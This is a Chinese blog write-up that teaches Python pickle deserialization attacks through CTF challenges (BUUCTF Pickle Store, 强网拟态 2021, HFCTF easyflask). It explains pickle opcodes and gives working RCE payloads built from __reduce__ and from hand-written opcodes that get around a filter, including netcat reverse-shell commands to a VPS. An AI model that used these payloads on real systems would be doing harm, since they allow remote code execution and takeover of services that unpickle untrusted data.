python安全之Pickle反序列化漏洞学习。

9 篇文章 0 订阅
7 篇文章 0 订阅

前言

写这篇文章的起因是两次遇到python pickle的题目都只做到了命令执行的程度,但都没有反弹shell。看别人的wp都是通过curl将flag拉到vps上的,怎么说呢,死于没有公网IP。虽然之前在做题的时候,照着网上的exp可以把自己的payload改个七七八八,但是说实话我距离真正意义上的“手撸”opcode还是有着一段距离。这篇文章主要还是通过我所遇到的pickle反序列化题目出发进行编写,当然也少不了pickle的原理部分。

正文

在正式开始这篇文章之前,我想先贴出一位大佬的文章Pion1eer大佬这篇文章所写的关于pickle序列化原理的解释,我相信在市面上应该找不到比这更详细的了。我下面也会写相关原理,但是一定不会有他的全面。
好,那我们开始。请考虑如下代码段。

import pickle
import os
import pickletools

class exp(object):
	def __init__(self):
        self.value1 = 'hh'
        self.value2 = 'xx'

user = exp()
y = pickle.dumps(user)
y = pickletools.optimize(y)
print(y)
pickletools.dis(y)

它的执行结果是这样的。
在这里插入图片描述

pickletools.dis()具有反汇编的功能,解析指定的字符串,然后告诉你这个字符串干了些什么。每一行都是一条指令。
而pickletools.optimize()具有优化的功能,会将一些不必要的指令删除,从而使看上去的输出更加清晰。

我们现在来依次解释一下上面各行的指令作用:

  1. 0x80:机器看到这个操作符,立刻再去字符串读取一个字节,得到x03。解释为“这是一个依据3号协议序列化的字符串”,这个操作结束。
  2. c:获取一个全局对象或import一个模块,会读取两个字符串module以及instance。形式如下c[module]\n[instance]\n
  3. ):向栈中压入一个空数组
  4. \x81:从栈空间弹出一个类和参数,并用这个参数实例化这个弹出来的类,最终把实例化的类再次压回栈中。
  5. }:压入一个空的字典
  6. (:向栈中压入一个MARK标记
  7. X/V:实例化一个字符串
  8. u:以键值对的形式进行数据组合(组合的数据为当前栈空间位置到上一个MARK之间的数据),并全部添加或更新到该MARK之前的一个字典中
  9. b:利用填充好的字典和实例化好的对象进行属性赋值。
  10. . STOP简单易懂,结束序列化。
    这么看可能有些抽象,所以我画了个流程图(虽然效果好象一般)。
    在这里插入图片描述
    上面这个小例子,我想已经足够理解pickle反序列化的一些流程上的问题了,最起码我们已经知道了它的大致操作。
    接下来我们从一个经典的trick来入手。

1.有关__reduce__()

请考虑如下的代码:

import pickle
import os
import pickletools

class exp():
    def __init__(self):
        self.value1 = 'hh'
        self.value2 = 'xx'

    def __reduce__(self):
        ls = "dir"
        return (os.system, (ls,))

user = exp()
y = pickle.dumps(user)
y = pickletools.optimize(y)
print(y)
pickletools.dis(y)

我们在之前的例子上加上了__reduce__()函数。它是用来干什么的呢?如果你以前学习过php的话,那么魔法函数这个概念你一定不会陌生。这里的__reduce__()函数很像php魔法函数中的wakeup(),他会在这个对象进行反序列化的时候自动调用。
上面代码的运行结果:
在这里插入图片描述
emm,我们现在可以拿着这个payload去反序列化一下看一下效果如何。

import pickle

payload = b'\x80\x03cnt\nsystem\nX\x03\x00\x00\x00dir\x85R.'
y = pickle.loads(payload)

在这里插入图片描述
可以看到的是,只要这个payload进入了load()或者是loads()函数那么他就会触发里面的系统命令。
当然了__reduce__()这个函数的考点,考到现在,可以说是已经考烂了。现在大部分的题目它的侧重点都不会是__reduce__(),而是一些其他的“古怪”。
但是为了说明这个例子,我们还是要通过一道题来说明问题。(题目来源:BUUCTF)
[watevrCTF-2019]Pickle Store
进入题目,随便买一个吃的,然后用bp进行抓包
在这里插入图片描述
把上面的session的值进行base64解码。然后拿到一串字符。一看就是pickle的字符串
在这里插入图片描述
用脚本解一下。

import pickle
import base64

hh = 'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu'
hh1 = pickle.loads(base64.b64decode(hh))

print(hh1)

在这里插入图片描述
看来它的后端是一定调用过loads或load函数的,那么就好办了,我们直接用去getshell就行了。

import base64
import pickle

class exp(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('nc ip port -e/bin/sh')",))

hh = exp()
print(base64.b64encode(pickle.dumps(hh)))

这里要用小号在buu的内网开一个靶机,然后用部署后靶机的ip及监听端口进行操作。
(这虽然不知道为什么,我启动的靶机连不上),所以这里用了我自己的vps
请添加图片描述

2.R指令的禁用

在上面reduce函数的使用过程中,我们发现在payload的最后倒数第二行上面会有一个R指令,他就是用来调用reduce的,那么我们如何进行rce呢?
这里就不得不说一下Pion1eer佬对于build指令的解读了。详情就看上面我所放置的链接,下面直接说一些利用方法。

\x80\x03c__main__\nexp\n)\x81}
上面这一行是之前的payload中截取的一部分。其功能就是实例化了一个对象并压入了一个空的字典。我们现在的任务是将字典内填充一个键值对为__setstate__:os.system。那么我们要如何实现?(手写opcode。
先用(写入一个MARK标记,然后写入要填充的字符串,再用u指令进行字典的填充。最后用b指令进行实例化,并赋值。
写完之后,大概会变成这样
\x80\x03c__main__\nexp\n)\x81}(V__setstate__\ncos\nsystem\nub
接下来我们所做的所有build操作所进行的传参,都会被system接受。
所以构建出最后的payload
\x80\x03c__main__\nexp\n)\x81}(V__setstate__\ncos\nsystem\nubVdir\nb.
ok,让我们来看一看效果。
在这里插入图片描述
命令是成功执行了的,而且我们也没有用到reduce()。在R指令被禁用的时候,我们可以通过这种利用Build指令的方式进行RCE。
不仅如此,我们甚至可以通过i指令,o指令进行构造

  1. i:先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(听起来和R指令挺像的)
  2. o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数
    i指令的:(S'whoami'\nios\nsystem.
    o指令的:(cos\nsystem\nS'whoami'\no

3.有关opcode的编写

这里再新引入几个opcode:

  1. t:寻找栈中的上一个MARK,并组合之间的数据为元组
  2. d:寻找栈中的上一个MARK,并组合之间的数据为字典
  3. S:实例化一个字符串对象
  4. R:选择栈上的第一个对象作为函数、第二个对象作为
  5. s:将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象
    参数(第二个对象必须为元组),然后调用该函数(就是reduce函数的调用)
    其实,当我在自己机器上运行的时候,我发现我的pickletools所生成的opcode与网上师傅的大相径庭,感觉很怪。于是于是去了kali上再次运行自己的代码,这次就相同了。这里也是很关键的一点,pickle这个东西在不同的操作系统上的运行结果是不一样的,而且不同版本的pickle也有不同的地方。这里建议各位还是在linux系统中生成payload,毕竟大多数比赛的环境全是linux。版本的话就用版本0吧。

(1)原始的方法(手写)

手写opcode是最考验一个人对于pickle序列化的理解程度的一种方式,当然也是最原始的方法。
这里用一道题作为例子(题目源自强网拟态2021)我在题目上做了一些改变,为了便于测试看效果。
(debug.py)

import base64
import pickle
import urllib.request
import pickletools
import base64
import config
import io
import sys

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        print(module)
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

data = "opcode"
data = base64.b64encode(data)
print(data)
result = RestrictedUnpickler(io.BytesIO(base64.b64decode(data))).load()
print(config.notadmin)

config.py

notadmin={"admin":"no"}

def backdoor(cmd):
    if notadmin["admin"]=="yes":
        s=''.join(cmd)
        eval(s)

我们的目标是要将config.py中的变量中的admin的值变为yes。让我们来利用前边给出的opcode尝试编写。
b"cconfig\nnotadmin\nS'admin'\nS'yes'\ns."
后面的事情就是利用出题人留下的后门,进行shell反弹。这里会涉及到opcode拼接的问题:在手写opcode的时候我们可以通过删除前一个opcode的结束符以实现和后面opcode的拼接工作。
(这里因为是本地复现的缘故所以就用命令执行来替代了)
cconfig\nbackdoor\n(S'__import__('os').system('dir')'\ntR.
将上面两个拼接起来就是完整的payload了,当然这里要删去结束符。
当然这里的命令执行也不止一种方式,可以在上文中的R指令过滤找到其他的方案。
详情可以去这个文章https://xz.aliyun.com/t/7436#toc-10

(2)神器pker

pker的相关语法,我就不过多的去说了大家直接去这篇文章去看吧。
pker的下载链接地址https://github.com/eddieivan01/pker
在这里插入图片描述
在这里插入图片描述
通过pker.py生成的payload同样可以达到相同的效果。这就免去了我们手写opcode的麻烦。(但是这里建议新手玩家还是以手写为主。)

4.题目加更

(题目来源:[HFCTF 2021 Final]easyflask
首先要了解一下Linux系统中记录着进程信息的文件,/proc/self/目录,这个目录不同的进程访问该目录时获得的信息是不同的,获得的会是本进程的相关信息。
更详细的内容见Zero_Adam的博客。由此开始进行解题过程。
先通过题目上的提示拿到源码

#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), { 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, })
@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
        return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'
        with open(path, 'r') as fp:
            content = fp.read()
        return content

@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
            u = pickle.loads(u)
    except Exception:
        return 'uhh?'
    if u.is_admin == 1:
        return 'welcome, admin'
    else: return 'who are you?'
if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

再去利用/proc/self/environ去该进程的环境变量里面看看。
在这里插入图片描述
拿到了secret_key,secret_key在flask模板中是用于生成session的,所以我们要是想让我们的自己生成的session有用,就要把源码中的星号替换成这个玩意。
我们注意到它的源码中有这么一条语句。
在这里插入图片描述
而这个所谓的u是序列化后的User。那好,我们只需要在原来对象里面加上一个__reduce__()用于执行我们的函数就行了。
(看不懂type构造的去这里https://zhuanlan.zhihu.com/p/40916705)
exp如下:

#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
User = type('User', (object,), { 'uname': 'test', 'is_admin': 1, '__repr__': lambda o: o.uname, '__reduce__': lambda o: (eval, ("__import__('os').system('nc VPS_IP 9999 -e /bin/sh')",))})
@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
        return "/file?file=index.js"
if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

然后在linux系统中启动服务,去找生成的session。
在这里插入图片描述
利用这个session去题目的那个网站访问admin,就可以了拿到shell了。

5.后记

这是我到现在为止写的最长的一篇文章了,自从又一次遇见了pickle的题目我就已经下定决心,要写一篇关于pickle的文章,来记述一下自己的学习历程。真正意义上去放开手去写的时候,才发现自己还有很都不知道的东西,才发现原来要写的东西有这么多。还是有很多收获的,无论是从学习的角度还是从更文的角度。当然了,pickle的学习远不止这些,还有更多的等着我们去发掘。

  • 4
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
BUUCTF中的Pickle反序列化漏洞是指在该比赛的题目中存在通过反序列化攻击来执行任意代码的漏洞。具体来说,这个漏洞利用了Python中的pickle模块,pickle模块可以将对象序列化为字符串并保存到文件或通过网络传输。然后可以将这个字符串反序列化为原来的对象。这个过程中,如果不对反序列化的输入进行充分验证和过滤,攻击者可以构造恶意的pickle字符串,从而在反序列化的过程中执行任意代码。 在BUUCTF中,有一个题目叫做"Pickle Store",该题目利用了pickle模块的反序列化功能,并在反序列化的过程中执行了恶意代码。具体的攻击方法是,通过抓包获取到一个包含pickle字符串的session值,然后对这个字符串进行base64解码,并使用pickle模块的loads函数进行反序列化操作。这样就可以触发恶意代码的执行。 为了说明这个例子,作者提供了一个脚本来解析这个pickle字符串,首先使用base64解码得到原始字符串,然后使用pickle模块的loads函数进行反序列化操作,并最终执行恶意代码。这个例子展示了如何利用pickle模块的反序列化功能来执行任意代码。 在pickle模块中,还有一些其他的相关函数和方法可以帮助我们理解和分析pickle字符串的结构和内容。例如,pickletools模块提供了dis函数来反汇编pickle字符串,以及optimize函数来优化和简化pickle字符串的内容。 总结来说,BUUCTF中的Pickle反序列化漏洞是利用了pickle模块的反序列化功能来执行任意代码的漏洞。攻击者通过构造恶意的pickle字符串,可以在反序列化的过程中执行任意代码。为了解析和分析pickle字符串,可以使用pickle模块提供的函数和方法,如loads、pickletools.dis和pickletools.optimize。<span class="em">1</span><span class="em">2</span><span class="em">3</span><span class="em">4</span>
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值